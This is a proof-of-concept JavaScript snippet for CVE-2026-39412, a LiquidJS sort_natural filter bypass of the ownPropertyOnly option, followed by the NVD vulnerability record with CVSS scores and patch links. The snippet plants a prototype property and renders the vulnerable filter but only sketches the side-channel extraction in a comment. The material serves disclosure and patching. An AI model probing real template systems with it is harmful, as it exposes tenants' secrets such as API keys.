CVE-2026-39412

// PoC for CVE-2026-39412: LiquidJS sort_natural filter bypass // This demonstrates how prototype properties can be leaked via sorting side-channel. const { Liquid } = require('liquidjs'); // Initialize LiquidJS with the security feature enabled const engine = new Liquid({ ownPropertyOnly: true }); // Simulate a sensitive property on the prototype (e.g., leaked from global scope) Object.prototype.SECRET_TOKEN = "admin_secret_key_123"; // User input context const ctx = { items: ['user_data', 'public_info'] }; // Template using the vulnerable filter // The sort operation may interact with the prototype property const template = `{{ items | sort_natural }}`; try { // Render the template const result = engine.renderSync(template, ctx); console.log("Rendered Output:", result); // In a real exploit, the attacker analyzes the output or behavior // to infer the existence or value of 'SECRET_TOKEN'. } catch (e) { console.error(e); }

{"cve": {"id": "CVE-2026-39412", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:25.733", "lastModified": "2026-04-20T14:53:53.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.25.4", "matchCriteriaId": "9A1F877E-F61D-4CC4-AF26-4BD0923D877E"}]}]}], "references": [{"url": "https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/harttle/liquidjs/pull/869", "source": "[email protected]", "tags": ["Issue Tracking", "Product"]}, {"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}